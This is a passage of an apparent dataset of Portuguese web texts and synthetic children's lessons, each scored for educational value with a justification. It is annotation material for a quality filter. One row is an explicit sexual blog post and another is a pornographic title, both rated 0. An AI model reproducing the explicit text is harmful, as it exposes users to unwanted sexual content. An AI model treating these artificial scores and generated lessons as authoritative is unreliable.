+· * Desenvolver os conceitos matemáticos, para que possam reconhecer identificar e executar as atividades propostas. +· * Identificar antecessor e sucessor de números e letras. +· * Refletir sobre á natureza levando em conta o dia da árvore. +· O “Planeta Terra” (nosso meio ambiente) água, energia e lixo (do nosso planeta). +_ Energia de onde vem e como chega até a casa; fontes da água e sua utilização preservação da água (desperdício escassez). +· Leitura e interpretação oral e escrita de palavras e pequenos textos;com ajuda do professor. +· Alfabeto, vogais e consoantes. +· Sequência lógica 0 á 9_antecessor e sucessor. +· * Roda de conversa: refletir sobre o tema abordado (planeta terra, água, energia, lixo etc.). +· * Leitura e interpretação oral e escrita. +· * Contagem de elementos de conjuntos , usa os dedos, distribuir tampinhas e palitos e outros. +· Constante observação durante todo período de realização do projeto. +· Observar os alunos durante todas as atividades se teve interesse, participação nas execução das atividades propostas. +· Verificar se houve um despertar ecológico no sentido de reflexão quanto ao amor e cuidado com a Natureza. +“SER EDUCADOR É SER POETA DO AMOR” +REUNIÃO DE PAIS E MESTRES COMO CULMINÂNCIA DO PROJETO ""CEMIG NAS ESCOLAS "", TENDO COMO OBJETIVO A PARCERIA ENTRE AMBOS PARA CONSERVAÇÃO DO MEIO AMBIENTE , ECONOMIA DE ÁGUA E ENERGIA ELÉTRICA. +ABERTURA DA REUNIÃO DE PAIS E MESTRES SOBRE O PROJETO +GINCANA COM A PARTICIPAÇÃO DOS PAIS +TRABALHOS REALIZADOS COM AS CRIANÇAS EM SALA DE AULA. +Tia Anizeth e sua turma apresentando as dicas de economia da energia elétrica +Tia Danyela e sua turma se divertindo com um dos jogos , material doado pela CEMIG. +Alunos de Tia Jucilda lendo e discutindo os assuntos estudados com o projeto em questão. +LEMBRANCINHA PARA OS PAIS CONFECCIONADAS PEL...",original,original,original,original,4,0.8 +"Press Kit Dedicado +Press Hot Site +ITHO 2005 +Lacime 2004 +19ª Braztoa +21ª Aviestur +ABAV 2003 +Exposystems 2003 +Web Press Kits arquivados +3º Workshop Corporativo +35º Congresso ABAV-2007 +ABAV 2013 - Espanhol +ABAV 2013 - Inglês +Clube de Hotéis.Com +Escritório Joandre Ferraz Advogados Associados +FEAFRO 2013 +Last Minute Viagens +Qualitas Travel Partner +Sanchat Tour Operator´s",original,original,original,original,1,0.2 +"Cães são flagrados brincando em piscina de creche para cães, chamada Lucky Puppy Care Center, localizada em Maybee, Michigan, Estados Unidos, e a alegria é estampada em suas carinhas. +A piscina foi construída em formato de osso e possui 6 metros de largura por 12 de cumprimento, e possui um lado raso - para os cães de porte pequeno ou que não sabem nadar muito bem -, o projeto foi pensado com muito carinho para proporcionar momentos incríveis enquanto os animais estão hospedados no local. +Os cães pulando na piscina. (Foto: Brenda Langley) +Brenda Langley, dona da escolinha, é apaixonada por animais e desejou mais que nunca oferecer um espaço divertido e interativo para os seus clientinhos. +""Eu amo o tempo na piscina com os cachorros, nada é melhor do que ver todos vocês soltando os cabelos e apenas curtindo a vida"", disse Branda ao Daily Mail. +Os observando a nova diversão da escola. (Foto: Brenda Langley) +E esse desejo surgiu porque ela acredita que todos os cães e crianças deveriam ter uma piscina em casa, pois sabe da felicidade e diversão que isso pode trazer. +""Não consigo imaginar uma infância sem piscina, e esses caras são apenas um bando de crianças que querem se divertir."" +E os cães que não são bobos, sabem aproveitar muito bem esse espaço, uns pulam com seus brinquedos, outros pulam de olhos fechados, outros dão altos saltos e já outros entram tímidos, mas independente de como entram o certo é que a hora da piscina é a mais aguardada por todos. +A piscina foi construída em forma de osso. (Foto: Brenda Langley) +Mas nem tudo são flores, pois sabemos que piscina junta sujeira, e os funcionários da creche que lutem para mantê-la limpinha - pronta para as brincadeiras dos alunos -, sendo diariamente higienizada, a limpeza dura em torno de uma hora. Além de ter os filtros potentes que funcionam 24 horas por dia. +E engana-se quem acha que único entretenimento da creche é a piscina. O local possui grandes playgrounds e trilhas ecológicas, um verdadeiro oásis para os bichinhos de estimação. +Os cães de divertindo na água. (Foto: Brenda Langley) +E para aqueles que ficam hospedados durante a noite, eles são muito bem tratados ao serem acomodados em quartos equipados com cobertores ao som de uma boa música relaxante. +A creche possui uma conta no Facebook que diariamente é carregada com fotos e vídeos adoráveis dos cães se divertindo. Confira alguns: +1. +2. +3. +Tão fofos! Acho que a hora de ir para a escola não deve ser ruim para esses cãezinhos. +Veja também este novo vídeo em nosso canal: +Gatos gigantes que surpreenderam a internet +creche para cãespiscinaEstados Unidos +Compartilhe +Ana Carolina Câmara +Redatora. +Comentários +Carregar comentários +Últimas notícias +Ucrânia27/05/2022 +Cachorro abandonado por tropas russas é acolhido por soldados ucranianos +Jesse Koz e Shurastey27/05/2022 +Cidades brasileiras realizarão 'fusqueatas' com pets em homenagem a Jesse e Shurastey; veja quais +Resgate de cão27/05/2022 +Menina chora de felicidade após reencontrar cachorro desaparecido por dois meses +vira-lata caramelo27/05/2022 +Vira-lata caramelo toma lugar de modelo durante curso de fotografia e vídeo faz sucesso na web +""Largamos a modelo de lado e fomos fotografar o caramelo lindo!"" +TikTok27/05/2022 +AUssistente: Cão acompanha vendedora ambulante pelas ruas e ajuda a carregar cesta +perigo26/05/2022 +Homem pula em mar agitado para salvar cachorro encontrado nadando sozinho; vídeo +Envia uma História - Seu PET pode virar uma matéria em nosso site!SobrePolítica de PrivacidadeFale com a gente",original,original,original,original,1,0.2 +"Duda Nagle aparece irreconhecível em foto, e Sabrina Sato afirma que ele não gosta de casa cheia! - TV Catia Fonseca +Duda Nagle aparece irreconhecível em foto, e Sabrina Sato afirma que ele não gosta de casa cheia! +Duda Nagle em foto de 20 anos atrás e agora",original,original,original,original,0,0.0 +"O atual modelo de divulgação de resultados e disseminação de trabalhos científicos – bases da construção do conhecimento –, através de periódicos científicos de acesso limitado a assinantes, vem recebendo progressivas críticas. +Além do fato mais evidente de que quem não paga não tem acesso à vanguarda do conhecimento produzido, outros fatores menos explícitos são derivados diretos dessa lógica, como o monopólio que algumas poucas empresas de publicação têm sobre a disseminação do conhecimento. +Como bem mostrou um artigo de 2015 publicado no periódico PLOS One, cinco grandes publicadoras são responsáveis por cerca de 50% dos trabalhos científicos indexados na Web of Science. +Em algumas áreas o monopólio chega a 70%. +Diante desses e de outros pontos discutíveis relacionados ao acesso pago a artigos científicos, surgem as chamadas revistas open access (OA) – acesso aberto ou livre acesso, em tradução livre. +Essas publicações, como o nome sugere, estão disponíveis na internet para qualquer pessoa e podem ser lidas e/ou baixadas livremente sem que seja realizada cobrança ou requerida assinatura. +Sua proposta de tornar universalizado o acesso ao conhecimento produzido na academia vem ganhando cada vez mais adeptos. +O tema acaba de receber renovada importância com a recente notícia de que a União Europeia, através de seu Conselho de Competitividade, aprovou diretriz que encoraja fortemente que todas as publicações científicas dos países membros fruto de pesquisas financiadas por recursos públicos sejam disponibilizadas em acesso aberto até 2020. +O jornalista Martin Enserink afirma, em reportagem publicada pela revista Science em maio último, que existe forte pressão de alguns dos países membros para que a diretriz ganhe peso de lei. +[sistema] open access derruba os muros em torno da ciência e assegura que a sociedade se beneficie, tanto quanto possível, das descobertas científicas”, defende um dos líderes do conselho, o ministro holandês da Ciência, Sander Dekker. +O Brasil, assim como a América Latina, vem demonstrando pioneirismo na adoção de iniciativas de acesso aberto e na publicação de artigos sob esse modelo. +Dos periódicos latinoamericanos que compõem a base Scopus, 74% são OA. +Nosso país é um dos líderes mundiais em tornar o conhecimento que produz universal, de acordo com o número de revistas de acesso aberto constantes no diretório internacional de publicações desse tipo (DOAJ, na sigla em inglês). +De todos os periódicos brasileiros que utilizam o sistema de revisão por pares (peer-review), 67% são de acesso aberto, proporção maior do que a encontrada em qualquer outro país do mundo. +O pesquisador brasileiro Sílvio Carvalho Neto e seus colaboradores mostram, em um artigo recentemente publicado, que se um periódico brasileiro é bem avaliado em sistemas como o JCR ou Qualis, existem grandes chances de que este esteja disponível em acesso aberto. +Em outras palavras, as melhores revistas brasileiras são, predominantemente, OA. +A pesquisa do grupo de Carvalho Neto identificou que 95% das revistas nacionais que recebem conceito A1 ou A2 (as melhores notas que uma revista pode receber) na estratificação do sistema Qualis são de acesso aberto. +Um grande promotor das revistas de livre acesso no Brasil é certamente o sistema SciELO (Scientific Eletronic Library Online), que provê acesso gratuito a mais de 260 revistas científicas brasileiras, ibero-americanas e sul-africanas. +Além do aumento na visibilidade das publicações junto à comunidade científica, um aspecto positivo já observado desde a criação da inciativa, em 1998, é o grande número de acessos por usuários não ligados a instituições científico-acadêmicas, podendo chegar a 20-25% do total. +Isso sugere um importante papel desempenhado por inciativas como a SciELO na divulgação científica e no entendimento público da ciência. +No entanto, apesar dos nítidos pontos positivos, alguns tipos de problemas começam a ser apontados na esteira da publicação livre no Brasil e no mundo. +A ...",original,original,original,original,4,0.8 +"Já parou para pensar como o Brasil é gigante e cheio de diferenças? Nosso país é tão grande que, para facilitar o estudo e a organização, foi dividido em 27 unidades, chamadas de estados, e em 5 grandes regiões. Mas por que essa divisão é importante? Vamos descobrir juntos! + +Imagine que o Brasil é como uma grande casa com muitos quartos (os estados). Cada quarto tem suas próprias características: um é mais quente, outro mais frio, um tem mais plantas, outro é mais industrializado. Para entender melhor essa casa, a gente agrupa os quartos que têm coisas em comum. É assim que surgem as regiões! + +As cinco regiões do Brasil são: Norte, Nordeste, Centro-Oeste, Sudeste e Sul. Cada uma delas tem um jeito próprio de ser, com paisagens, comidas, sotaques e costumes diferentes. Por exemplo, na região Norte, encontramos a Floresta Amazônica, o maior tesouro natural do nosso país, e rios enormes como o Amazonas. Já no Nordeste, as praias paradisíacas e a cultura rica em danças e músicas como o frevo encantam a todos. No Centro-Oeste, o cerrado e a produção de alimentos mostram a força da agricultura. O Sudeste, com suas grandes cidades como São Paulo e Rio de Janeiro, é o coração econômico do Brasil. E no Sul, o clima mais frio e as tradições gaúchas dão um toque especial à nossa diversidade. + +Essa divisão em estados e regiões não é só para facilitar o estudo na escola. Ela também ajuda o governo a planejar ações e investir em cada lugar de acordo com suas necessidades. Por exemplo, uma região que precisa de mais escolas pode receber mais recursos para educação, enquanto outra que precisa de ajuda para proteger o meio ambiente pode ter mais investimentos nessa área. + +É importante lembrar que, mesmo com suas diferenças, todos os estados e regiões fazem parte de um só Brasil. Conhecer e valorizar essa diversidade é fundamental para construirmos um país mais justo e igual para todos. Então, que tal começar a explorar o Brasil hoje mesmo? Pesquise sobre a culinária, a cultura e a história de cada região. Descubra os tesouros que o nosso país tem a oferecer! + +E aí, qual região do Brasil te chama mais atenção? Por quê? Pense nisso e continue explorando o nosso país!",Geografia,Estados e regiões do Brasil,anos finais (6º ao 9º ano),"O texto apresenta informações básicas e relevantes sobre a divisão do Brasil em estados e regiões, explicando a importância dessa divisão de forma didática e acessível para crianças. Aborda elementos pertinentes ao currículo escolar de geografia, introduzindo conceitos importantes de forma coerente e com linguagem clara. Apresenta exemplos das características de cada região, tornando o aprendizado mais interessante e contextualizado. O texto é adequado para o ensino fundamental, sem informações supérfluas ou complexas.",5,1.0 +"Obviamente que não podemos gostar todos do amarelo ou o que seria do vermelho e do azul… Com variantes, sim porque existem opções para todos os gostos e até paladares. +Uns gostam mais de uma coisa outros de outra…ou não fosse a sexualidade tão diversificada. Homem com mulher, mulher com mulher, homem com homem, em grupo, a solo, sei lá… cada um come onde quer como quer e como lhe dá mais gozo, é ou não é? +Seja como for o sexo fica bem mais saboroso quando é ligeiramente apimentado quando colocamos a imaginação a trabalhar. +Quem é que gosta de rotina? De inicio até pode correr bem, mas em todas as relações se não se adicionar uma pitadinha de pimenta um cheirinho mais intenso de picante a coisa pode azedar. Depois é vê-los, eles e elas, a debicar em cama alheia. A mulher gosta pouco de rotina acreditem!. Há quem negue, claro que há, até quem diga que variedade é sinal de pouca qualidade... +Aqui entre nós parece-me um bocado de falta de imaginação e comodismo. Ou então nunca tiveram oportunidade de experimentar. +Passam a vida a comer bolos de arroz e esquecem-se que a pastelaria pode ser tão variada que vai das bolas com creme aos pasteis de nata passando pelos duchesse, e que bons que são, cheiinhos de chantilly que dá logo uma vontade louca de passar a língua e saborear. +Assim como a pastelaria é variada o sexo também .É mais, muito mais, do que chegar à cama abrir as pernas e gemer, ou se é.. Porque há tantos tabus no sexo caramba? +Poucos falam dele abertamente mas o que é certo é que todos os praticam ou quase todos… As vezes chego a pensar que a maioria da pessoas só dá uma foda para procriar e mesmo assim de luz apagada . Tanto puritanismo e hipocrisia se vê por ai.. +Mas existe coisa melhor do que ver o que se está a fazer? +Olhar nos olhos do parceiro no momento em que sabemos que se está vir? Sim por isto nos homens ao contraio da mulhere é mais difícil fingir. +Podemos temperar o sexo com tantos ingredientes … Algemas, dizem até que é um dos grandes fetiches dos homens. Pois é, parece que gostam de se sentir presos e à mercê de uma mulher, e são tão fáceis de arranjar. +Um lenço para lhes vendar os olhos, ou a mulher ser vendada, porque não..? Sabem qual é a sensação de a qualquer momento poder ser tocado, beijado, lambido e não saber em que locais porque estão vendados? +Provoca um arrepio no corpo, não é? Mas um arrepio bom… +Uma pedra de gelo pode fazer milagres, pode deixar alguém completamente em brasa, chocolate derretido em sítios estratégicos, quem é que não gosta de chocolate..? chantilly, enfim, para os gulosos isto pode ser um prato cheio, só tem é que ousar. +Vestir um personagem, umas meias de ligas e uns saltos altos não há homem que resista. E as ‘transformações’ de comportamento, sim também há quem adoro e se excite com os ‘palavrões’ que se podem soltar durante a relação sexual, chamar os bois pelos nomes.. pois se quero que me fodas porque não dize-lo? ou mais fundo vai, mete, enterra.... +A number one, dos homens claro até podemos dizer que é a primeiríssima do “top tem” é estar com duas mulheres. +Como já disse, não tenho nada contra e cada um come onde quer e como quer, certo? +Mas parece-me sempre uma ideia um pouco machista… se não vejamos: o homem tem o fetiche de comer duas mulheres e ao mesmo temo vê-las comerem-se uma à outra. Não as considera lésbicas porque é para seu belo prazer. +Mas vamos imaginar a cena ao contrario: A mulher ter a fantasia de estar com dois homens e vê-los comerem-se um ao outro… +Pois meus caros aqui a coisa muda de figura porque elas não são lésbicas mas eles já são gays. Mentalidades.. +Estranho mas é verdade, o sexo oral ainda é fantasia para muito boa gente. Também suscita inúmeros preconceitos e pudores, originando reacções estranhas. +Ou por repugnância, questões religiosos ou morais, as pessoas acabam por ficar inibidas no momento de praticar sexo oral, mas sonham com isso com pão para a boca.. ainda há quem pense que as carícias pelo resto do corpo são uma coisa, mas nos ór...",original,original,original,original,0,0.0 +"Olá, pequenos exploradores! Já pararam para pensar em como medimos as coisas ao nosso redor? Medir é como usar uma lupa mágica para entender o tamanho, o peso, a temperatura e muitas outras características do mundo! Hoje, vamos embarcar em uma aventura para desvendar os segredos das medidas e grandezas! + +Imagine que você quer construir uma casinha para o seu cachorro. Você precisa saber qual a altura ideal, a largura da porta e o comprimento das paredes, certo? Para isso, usamos diferentes tipos de medidas. Para o comprimento e a largura, podemos usar a régua ou a fita métrica, medindo em centímetros e metros. Se a casinha for muito grande, podemos até usar quilômetros, que são usados para medir distâncias bem longas, como a distância entre cidades! + +E o peso da ração do seu cachorro? Para isso, usamos outras unidades de medida, como o grama e o quilograma. Uma maçã, por exemplo, pode pesar uns 200 gramas, enquanto um saco de ração pode pesar 5 quilogramas. Conseguem sentir a diferença? + +Mas não paramos por aí! Que tal medir o tempo que você leva para ir da sua casa até a escola? Usamos segundos, minutos e horas! Um minuto tem 60 segundos, e uma hora tem 60 minutos. Será que você leva mais de uma hora para chegar na escola? Ou apenas alguns minutos? + +E a temperatura? Quando a mamãe diz que você está com febre, ela está medindo a sua temperatura em graus Celsius! Uma temperatura normal é por volta de 36 ou 37 graus Celsius. Se estiver mais alta, é hora de descansar e tomar um chazinho! + +Perceberam como as medidas estão presentes em todo lugar? Medir nos ajuda a comparar, a construir, a planejar e a entender o mundo! Que tal agora você sair por aí e começar a medir tudo o que encontrar? Use uma régua para medir seus brinquedos, uma balança para pesar as frutas, e um relógio para marcar o tempo que você leva para fazer suas tarefas. Descobrir o mundo das medidas é uma aventura super divertida e cheia de aprendizado! Lembrem-se, a matemática está em tudo, basta saber onde procurar!",Matemática,Medidas e grandezas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de medidas e grandezas de forma lúdica e acessível para crianças. Aborda diferentes unidades de medida (comprimento, peso, tempo, temperatura) e suas aplicações no cotidiano, incentivando a exploração e a experimentação. A linguagem é clara e adequada para o público-alvo, tornando o aprendizado divertido e relevante. O texto poderia ser utilizado desde os anos iniciais, adaptando a complexidade dos exemplos.",5,1.0 +"André Gonçalves ri da fama de mulherengo: “não tenho como negar meu passado e não é demérito” - Música - Jovem Pan FM Poços de Caldas 90.9 +André Gonçalves ri da fama de mulherengo: “não tenho como negar meu passado e não é demérito” - Música - Jovem Pan FM Poços de Caldas",original,original,original,original,0,0.0 +"MP de Minas Gerais vê falhas em licenciamento da barragem de Fundão | Inteligência Competitiva por Alfredo Passos +Inteligência Competitiva por Alfredo Passos(Observatório sobre a Competitividade Empresarial) MP de Minas Gerais vê falhas em licenciamento da barragem de Fundão Barragem de Fundão rompeu em novembro: Ministério Público apura por que obra foi autorizada sem a apresentação de documentos considerados essenciais para a construção – Daniel Marenco/ 06-11-2015/ Agência O Globo / Agência O Globo +Fonte: O GLOBO 17/01/2016 21:36 / atualizado 18/01/2016 9:37 +por Alfredo Passos em 17/01/2016 +Marcado da TV Globo, engenheiro Joaquim Pimenta de Ávila, fantastico, Geraldo Abreu, Ministério Público de Minas Gerais, Samarco, subsecretário de Regularização Ambiental de Minas Gerais +Postado por Alfredo Passos em 17/01/2016 +https://alfredopassos.wordpress.com/2016/01/17/mp-de-minas-gerais-ve-falhas-em-licenciamento-da-barragem-de-fundao/ +Post anteriorEngenheiro alertou para risco de ruptura em barragem de Mariana Post seguinteInteligência Competitiva Tecnológica: Nova revolução industrial vai destruir 5 milhões de empregos até 2020 Deixe um comentário Deixe uma resposta Cancelar resposta Insira seu comentário aqui...",original,original,original,original,2,0.4 +"Olá, pequenos cientistas! Já pararam para pensar de onde vem a água que bebemos, que rega as plantinhas e que usamos para tomar banho? A água faz uma viagem muito longa e interessante, que chamamos de ciclo da água. É como se fosse uma aventura sem fim! + +Tudo começa com o sol, nosso astro rei, que aquece a água dos rios, lagos, oceanos e até mesmo a água que está no chão. Quando a água esquenta, ela se transforma em vapor, como quando a mamãe coloca a chaleira no fogo e sai aquela fumacinha. Esse vapor sobe lá para o céu, onde está mais frio. Esse processo se chama evaporação! + +Lá no alto, o vapor d'água encontra o ar geladinho e se transforma em gotinhas bem pequenas, que se juntam formando as nuvens. É como se o vapor estivesse colocando um casaco bem grosso para não sentir frio! Quando as nuvens ficam muito cheias de gotinhas, elas não conseguem mais segurar toda essa água e, então, a água volta para a Terra em forma de chuva. Às vezes, se estiver muito frio, pode até nevar ou cair granizo! Esse processo se chama precipitação. + +A água da chuva, da neve ou do granizo escorre pelos rios, lagos e oceanos, e também se infiltra na terra, chegando até os lençóis freáticos, que são como rios subterrâneos. E adivinhem só? O sol volta a esquentar essa água e o ciclo começa novamente! É por isso que dizemos que é um ciclo sem fim. + +É importante lembrar que a água é muito importante para a nossa vida e para a vida de todos os seres vivos. Por isso, devemos economizar água e cuidar dos nossos rios e lagos. Já pensou se a gente deixasse a torneira pingando o dia todo? Muita água boa iria embora sem ser aproveitada! Que tal criarmos o hábito de fechar a torneira enquanto escovamos os dentes? É uma pequena atitude que faz toda a diferença para o nosso planeta. + +Agora que você já conhece o ciclo da água, observe a natureza ao seu redor e tente identificar as diferentes etapas desse ciclo. Veja as nuvens no céu, a chuva caindo, o rio correndo. A natureza é realmente incrível! E lembre-se: cuidar da água é cuidar da vida!",Ciências,Fenômenos naturais,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, explicando o ciclo da água de forma clara e acessível para crianças, utilizando analogias simples e linguagem adequada. Aborda a importância da água e incentiva a conservação, alinhando-se aos currículos de ciências e geografia do ensino fundamental. O texto é coerente, completo e promove o aprendizado estruturado, com um estilo de escrita envolvente e convidativo. É apropriado para uso em sala de aula, incentivando a observação da natureza.",5,1.0 +"RIO FOREST HOSTEL (RIO DE JANEIRO): 129 fotos, comparação de preços e 188 avaliações +Rua Joaquim Murtinho 517, Rio de Janeiro, Estado do Rio de Janeiro 20241-320 Brasil +Atendimento excelente, prestativo e com ótimas informações sobre roteiros turísticos e restaurantes. A estrutura é boa e possui até uma piscina. O custo-benefício é excelente! Contando inclusive com café da manhã. +Resposta de RioForest, Proprietário do estabelecimento Rio Forest HostelRespondida em 5 de novembro de 2018 +Ficamos muito felizes por termos oferecido a você uma boa experiência! Aguardamos ansiosos pelo seu retorno. Atenciosamente, +Como quase todos os lugares de Santa Teresa, para se chegar ao antigo casarão onde fica o hostel você tem que subir escadas.. muitas... mas assim que vc chega lá em cima e olha para aquela vista, todo o esforço da subida é recompensado. Os...Mais +Resposta de RioForest, Proprietário do estabelecimento Rio Forest HostelRespondida em 24 de outubro de 2018 +Ficamos muito felizes que tenha gostado de sua estadia conosco e esperamos ansiosos pelo seu retorno! +O Hostel é ótimo, estrutura ótima (sobretudo a parte de lazer), a equipe é muito querida e o preço para os quartos coletivos são ótimos. E além de tudo, fica pertinho da lapa, com mercado e restaurante proximos! +Ficamos muito felizes que você tenha gostado de sua estadia e aguardamos ansiosos pelo seu retorno! +Café da manhã é decepcionante, instalações mal cuidadas e sujas, funcionários mal treinados, mobílias mal conservadas e falta de utensílios básicos de higiene integraram o combo de decepção que foi a hospedagem neste hostel.Mais +Lamentamos não termos atendido suas expectativas e agradecemos por sua opinião, pois ela é muito importante para implementarmos nossos serviços. Infelizmente devido ao baixo valor de nossas tarifas em comparação aos hotéis, não podemos oferecer um serviço de buffet livre de café da manhã. Mesmo...Mais +Foi a melhor hospedagem da minha vida. Eu estava na cidade maravilhosa e não me importei em ficar dias no Hostel. Fui muito bem recebida, com cuidado, atenção, carinho e amor. Foi uma sensação única de estar em casa com pessoas maravilhosas. Amei como a...Mais +Ficamos muito felizes que tenha gostado de sua hospedagem e aguardamos ansiosamente pelo seu retorno! +Pergunte a funcionários e pessoas que já visitaram Rio Forest Hostel. +Olá tudo bem? somos um casal viajante de Kombi e gostaríamos de saber se tem lugar seguro para estaciona-la, uma vez q é ""nossa casa"". Obrigado +Olá Paulo! tudo bem? Obrigado por nos contactar , Nós temos lugar para estacionar fora do hostel, na rua, pois a gente fica num bairro residencial aos pés da floresta, onde todos os vizinhos deixam seus carros também por... Mais +Olá Paulo! tudo bem? Obrigado por nos contactar , Nós temos lugar para estacionar fora do hostel, na rua, pois a gente fica num bairro residencial aos pés da floresta, onde todos os vizinhos deixam seus carros também por ser um lugar tranquilo e seguro, mas ainda é rua, por isso a gente não pode se fazer responsável no caso de algo acontecer com o carro. Embora em todos os anos que a gente leva funcionando nada ruim tem acontecido. Sempre a precaução e bem-vinda. +Existe muito lugar p comer próximos ? Estou querendo ir dia 10 ao 17 de janeiro +Olá Vanessa, boa tarde! Existem vários diferentes restaurantes próximos a nós. Inclusive estamos próximos ao Largo dos Guimarães e ao bairro da Lapa, tradicionais polos histórico, artístico e gastronômico do Rio de Janeiro... Mais +Olá Vanessa, boa tarde! Existem vários diferentes restaurantes próximos a nós. Inclusive estamos próximos ao Largo dos Guimarães e ao bairro da Lapa, tradicionais polos histórico, artístico e gastronômico do Rio de Janeiro. Possuímos uma cozinha e um bar com diversos tipos de bebidas e comidas artesanais como hambúrgueres , pizzas e petiscos. Maiores informações acesse nosso site e entre em contato conosco. Atenciosamente, Marcus +""Quartos no segundo andar na parte da frente, longe do barulho d...",original,original,original,original,1,0.2 +"Olá, pequenos exploradores! Já pararam para pensar que o mundo ao nosso redor é feito de formas? Elas estão em todos os lugares: na bola que usamos para jogar, no livro que lemos, na casa onde moramos e até mesmo na pizza que comemos! Vamos embarcar juntos em uma aventura para descobrir e entender melhor essas formas incríveis. + +Começando pelo básico, temos o círculo. Imaginem o sol brilhando no céu ou uma moeda que usamos para comprar um doce. Ambos são círculos, não são? O círculo é uma forma redondinha que não tem cantos nem lados. Agora, pensem numa caixa de presente ou numa porta. Elas geralmente têm a forma de um retângulo. O retângulo tem quatro lados, sendo que os lados opostos são iguais. Se todos os quatro lados forem iguais, temos um quadrado, uma forma bem especial e equilibrada. Que tal procurar objetos quadrados e retangulares em sua casa? + +Outra forma muito comum é o triângulo. Pensem numa fatia de pizza ou no telhado de uma casa. O triângulo tem três lados e três cantinhos, chamados vértices. Existem diferentes tipos de triângulos, mas todos eles compartilham essa característica de ter três lados. Já viram placas de sinalização de trânsito triangulares? Prestem atenção da próxima vez que estiverem na rua! + +Agora, vamos para algo um pouco mais interessante. Vocês já ouviram falar em esfera, cubo e cilindro? Uma bola de futebol é uma esfera, um dado é um cubo e uma lata de refrigerante lembra um cilindro. Essas são formas tridimensionais, o que significa que elas têm altura, largura e profundidade. Elas ocupam espaço no mundo real! + +Entender as formas geométricas é muito importante, pois nos ajuda a compreender melhor o mundo que nos cerca. A geometria está presente na arquitetura, na arte, na natureza e em muitas outras áreas. Ao reconhecer e nomear as diferentes formas, estamos desenvolvendo nosso raciocínio espacial e nossa capacidade de resolver problemas. + +Que tal um desafio? Olhem ao redor e tentem identificar o maior número possível de formas geométricas. Desenhem essas formas em um papel e escrevam o nome delas. Compartilhem suas descobertas com seus amigos e familiares. Vocês vão se surpreender com quantas formas geométricas existem em nosso dia a dia! Lembrem-se, a matemática pode ser muito divertida quando exploramos o mundo das formas!",Matemática,Geometria e formas,anos iniciais (1º ao 5º ano),"O trecho apresenta um alto valor educacional, sendo perfeitamente adequado para o ensino fundamental. Ele introduz conceitos básicos de geometria de forma lúdica e acessível, utilizando exemplos do cotidiano para facilitar a compreensão. O texto é claro, consistente e estimula a exploração e o raciocínio espacial, incluindo um desafio prático para reforçar o aprendizado. O trecho não contém informações irrelevantes ou complexas, focando em conceitos adequados para a faixa etária.",5,1.0 +Casal faz uma safadeza escrota no local de trabalho.,original,original,original,original,0,0.0 +"'Optamos por não ter documentos sigilosos', diz chefe do arquivo do Instituto de Estudos Brasileiros - Jornal O Globo +Logo O Globo +Acessar Navegação +Cultura +Buscar +Buscar +Acesse no +Facebook Twitter Instagram +Política +Brasil +Rio +Saúde +Mundo +Economia +Cultura +Esportes +Viagem +Bairros +Opinião +Colunistas +Época +Podcast +Vídeos +Fotos +Infográficos +Defesa do Consumidor +Últimas Notícias +Princípios Editoriais +Logo Patrícia Kogut +Logo Ela +Logo Rio Show +Logo Sonar +Logo Capital +Logo Sensacionalista +Logo Clube O Globo Sou Mais Rio +Logo Meu O Globo +Logo Extra +Portal do Assinante +Acervo +Um Só Planeta +Edição Impressa +Newsletter +Comércio em pauta +Tem no Rio +Acesse no +Facebook Twitter Instagram +Livros +PUBLICIDADE +Cultura Livros +'Optamos por não ter documentos sigilosos', diz chefe do arquivo do Instituto de Estudos Brasileiros +Para Elisabete Marin Ribas, da USP, segredo 'alimenta o fictício' +Maurício Meireles +04/07/2015 - 19:14 +Compartilhe por +Facebook Twitter WhatsApp Newsletters +PUBLICIDADE +Debate sobre o arquivo de Mário de Andrade na Capelinha, com Guilherme Freitas e Elisabete Marin Ribas Foto: André Teixeira / Agência O Globo +PARATY — Foi um passeio pelas curiosidades do acervo de Mário de Andrade a mesa com Elisabete Marin Ribas, chefe dos arquivos do Instituto de Estudos Brasileiros da Universidade de São Paulo (IEB/USP), na FlipMais, na fim da tarde deste sábado. Mas ela também não se esquivou de comentar a recente abertura da carta do modernista lacrada na Casa de Rui Barbosa há quase 40 anos. Para Elisabete, o sigilo “alimenta o fictício” e a revelação do conteúdo da missiva não trouxe nada de relevante para a biografia ou análise da obra do intelectual. A mesa, realizada com o apoio do GLOBO, ocorreu na Capela de Nossa Senhora das Dores, no centro histórico de Paraty. +— Eu li a carta. Acho que foi muito barulho para pouco resultado. O problema é que (o segredo) potencializou em um único documento um tema que está espalhado por toda a documentação. Sei que as pessoas que lacraram o documento o fizeram pensando em proteger, na melhor das intenções. Eu só acho que potencializou — disse Elisabete. +Na mesa “As gavetas de Mário”, mediada pelo jornalista do GLOBO Guilherme Freitas, Elisabete refletiu sobre os limites entre o que deve ser público e o que deve ser privado em acervos. +— Como eu falo de uma instituição pública, tento trabalhar no limite do respeito com os familiares, que confiaram os documentos a nós. Temos o cuidado com o documento, mas o conteúdo é tratado a partir da legislação brasileira. No nosso caso, optamos por não ter documentos sigilosos, porque quanto mais você fecha, mais você alimenta o fictício — defendeu Elisabete. +A chefe do arquivo do IEB contou a trajetória de formação do acervo — que começou com uma biblioteca sobre o Brasil, fundada pelo historiador Sérgio Buarque de Hollanda. A primeira coleção de documentos a ir para a instituição foi justamente a de Mário de Andrade, que abriu o caminho para outros acervos de intelectuais serem incorporados. Só a partir do arquivo do modernista, diz Elisabete, mais de mil livros já foram publicados — sem contar os artigos e teses de mestrado ou doutorado. +— Quando vou trabalhar, tenho a sensação de entrar num lugar sagrado. Nós cuidamos dos arquivos e acho que eles também cuidam de nós um pouco. Hoje sou uma pesquisadora melhor por ver como o Mário pesquisava — disse Elisabete. +Elisabete Marin Ribas, chefe dos arquivos do IEB Foto: André Teixeira / Agência O Globo +PUBLICIDADE +A pesquisadora, que falou em um espaço lotado, na Capela de Nossa Senhora das Dores, incorporada como espaço da Flip pela primeira vez, enumerou os documentos curiosos do acervo, que permitem vislumbrar a personalidade e a importância de Mário de Andrade para a cultura brasileira. Há desenhos que provam um trabalho do modernista como uma espécie de estilista. Como era muito alto — e devia ter dificuldade para comprar roupas —, chegava a desenhar algumas de suas peças para um estilista particular. Há até...",original,original,original,original,2,0.4 +"Como chegar de Avenida Álvaro Ramos, 1214 - Quarta Parada, São Paulo - SP, República Federativa do Brasil até Avenida do Estado, 1750",original,original,original,original,1,0.2 +"Tricolor vencia por 2 a 0 fora de casa, mas após expulsão e pênalti polêmicos, o 